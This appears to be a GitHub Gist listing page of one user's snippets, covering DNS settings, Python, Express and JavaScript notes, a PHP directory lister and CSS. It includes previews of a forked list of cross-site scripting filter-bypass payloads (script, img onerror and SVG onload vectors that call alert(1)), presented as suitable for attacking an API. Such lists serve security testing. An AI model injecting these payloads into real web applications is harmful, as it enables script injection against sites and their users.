Skip to content

Instantly share code, notes, and snippets.

@a1exlism
a1exlism / ChangeDNS
Created July 23, 2016 13:06
Change DNS in ubuntu permanently.
sudo vim /etc/resolvconf/resolv.conf.d/base
#Write optional dns
#nameserver 223.5.5.5
#nameserver 8.8.4.4
resolvconf -u
@a1exlism
a1exlism / sth_different_in_python.py
Created July 23, 2016 14:24
Collection the differences in python when reading <<Python core programming>>
#Array
aList = [1, 2, 3, 4]
aList[2:] #[3, 4]
#Variables
a = 1
a++ --a # Wrong no function for this
# mul-tuple
(x, y, z) = (1, 2, 'a string')
@a1exlism
a1exlism / 666_lines_of_XSS_vectors.html
Created July 26, 2016 03:37 — forked from JohannesHoppe/666_lines_of_XSS_vectors.html
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
req.query: 处理 get 请求,获取 get 请求参数
req.params: 处理 /:xxx 形式的 get 或 post 请求,获取请求参数
req.body: 处理 post 请求,获取 post 请求体
req.param(): 处理 get 和 post 请求,但查找优先级由高到低为 req.params→req.body→req.query
From: https://github.com/nswbmw/N-blog/wiki/第1章--一个简单的博客
<?php
function listDir($dir)
{
if(is_dir($dir))
{
if ($dh = opendir($dir))
{
while (($file = readdir($dh)) !== false)
{
if((is_dir($dir."/".$file)) && $file!="." && $file!="..")
<img src="1" onerror=location="javascript:alert%281%29">
SVG:
<svg xmlns="http://www.w3.org/2000/svg">
<g onload="javascript:alert(1)"></g>
</svg>
<svg xmlns="http://www.w3.org/2000/svg">
<animation xlink:href="javascript:alert(1)"/>
</svg>
@a1exlism
a1exlism / js_point.js
Created August 11, 2016 18:44
Multiple meaning of point in JavaScript
/* .的含义
1、表示算术中的小数点(浮点数),如 2.5
2、取对象属性、方法,如 [].push(2)
*/
1.toString(); //Error
1..toString(); //Works well
1 .toString(); //Works well
/*
@a1exlism
a1exlism / enable_sourceMap.md
Last active August 27, 2016 12:05
css source map
@a1exlism
a1exlism / front_canvas.css
Created September 25, 2016 13:08
using canvas for background
canvas {
top: 0;
left: 0;
position: fixed;
height: 100%;
z-index: -1;
}